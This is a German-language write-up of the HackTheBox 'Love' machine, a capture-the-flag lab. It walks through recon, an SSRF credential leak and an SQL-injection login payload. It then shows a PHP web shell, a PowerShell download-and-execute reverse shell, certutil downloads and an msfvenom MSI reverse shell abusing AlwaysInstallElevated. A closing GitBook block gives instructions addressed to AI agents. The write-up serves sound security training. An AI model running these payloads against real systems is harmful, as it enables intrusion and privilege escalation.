> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Love HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SQL-Injection (SQLI) * Serverseitige Anfragefälschung (SSRF) * Missbrauch von Datei-Uploads * Ausnutzen des Voting Systems * Ausnutzen von AlwaysInstallElevated (msiexec/MSI-Datei) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Analyse offener Ports mit extractport:** Verwendung der Funktion extractport, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren.

**Versionsscan der Ports mit Nmap:** Mit Nmap einen Versionsscan der Ports durchführen und Informationen in der Datei "targeted" speichern: ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

**Suche nach Verzeichnissen:** Wir verwenden Gobuster, um auf der Website nach Verzeichnissen zu suchen: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

In dem `admin` Im Verzeichnis entdecken wir ein Verwaltungs-Panel.

## Ausnutzung des Voting Systems: In diesem Fall gibt es zwei Möglichkeiten, mit dem Verwaltungs-Panel des Voting Systems zu arbeiten: ### 1. Schwachstelle SSRF: Port 443 zeigt eine `staging.love.htb` Subdomain, die wir zu unserem `/etc/hosts` vorhandenen Benutzern.

Diese Website kann andere Websites über eine URL scannen.

Durch das Scannen von `localhost:5000` (von außen nicht erreichbar), entdecken wir Zugangsdaten: `admin: @LoveIsInTheAir!!!!`

Hinweis: Von außen wird die Meldung „You don't have permission to access this resource.“ angezeigt, wodurch der Zugriff blockiert wird.

### **2. Schwachstelle SQL-Injection (**[**SQLi**](/de/web/sql-injection.md)**) :** Mit `searchsploit` wir suchen nach spezifischen Schwachstellen des Voting Systems und finden das folgende Payload:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Mit Burp Suite greifen wir auf das Dashboard zu.

## Datei-Upload-Schwachstelle: Im Dashboard gibt es eine Option zum Erstellen eines neuen Benutzers. Wir erstellen eine `cmd.php` Datei, um Befehle auf dem Server auszuführen:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

Das Panel führt keine Sicherheitsprüfungen durch, sodass wir Befehle einschleusen können (z. B. `whoami`). Durch das Testen eines Ping-Befehls prüfen wir die Verbindung:

wir prüfen, ob es einen Ping ausführen kann

ping 10.10.14.10
tcpdump -i tun0 icmp

Da wir eine Antwort erhalten, bestätigen wir die Möglichkeit, Befehle auf dem Zielsystem auszuführen

**PowerShell-Befehl für eine Reverse Shell** Sobald wir sehen, dass wir Befehle ausführen können, werden wir das `PS.ps1` Skript auf unseren Rechner herunterladen. {% embed url="" %} Am Ende des Skripts fügen wir die folgende Zeile hinzu: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Wir werden mit dem `PS.ps1` Skript ```bash python3 -m http.server 80 ``` Dann werden wir den Befehl so ändern, dass er auf unseren Webserver verweist: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Schließlich lauschen wir auf Port 4444: ```bash rlwrap nc -nlvp 4444 ```

### Flagge user.txt:

## Privilegieneskalation: ### **Enumeration mit winPEASx64.exe** Um eine Rechteausweitung auf einem Windows-Server durchzuführen, führen Sie zuerst das `winPEAS` Aufklärungstool aus. {% embed url="" %} Herunterladen des Aufklärungstools WIN-PEASx64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### AlwaysInstallElevated prüfen Das `winPEAS` Das Tool prüft verschiedene Sicherheitseinstellungen des Systems. Uns interessiert insbesondere der `AlwaysInstallElevated` Registrierungsschlüssel. Wenn dieser Schlüssel auf `1` in `HKLM` (HKEY/LOCAL/MACHINE), bedeutet das, dass alle `.msi` Dateien mit hohen Rechten installiert werden können, was eine Schwachstelle darstellt.

{% embed url="" %} **Erstellen Sie eine MSI-Datei, um eine Reverse Shell zu erhalten** Um diese Schwachstelle auszunutzen, erstellen wir eine `.msi` Datei, die uns nach der Ausführung eine Reverse Shell liefert. Wir verwenden `msfvenom` zum Generieren dieser Datei: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Übertragung von .msi**/ Datei Nachdem wir die Datei erstellt haben, müssen wir sie auf die Zielmaschine übertragen: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Auf Port 443 lauschen**/ Bevor wir die `.msi` Datei ausführen, müssen wir auf dem angegebenen Port lauschen. Verwenden wir `nc` dafür (netcat): ```powershell rlwrap nc -nlvp 443 ``` **Ausführung des Installationsbefehls**/ Schließlich führen wir die `.msi` Datei mit `msiexec`, wodurch die stille Installation ausgelöst wird: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Root-Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.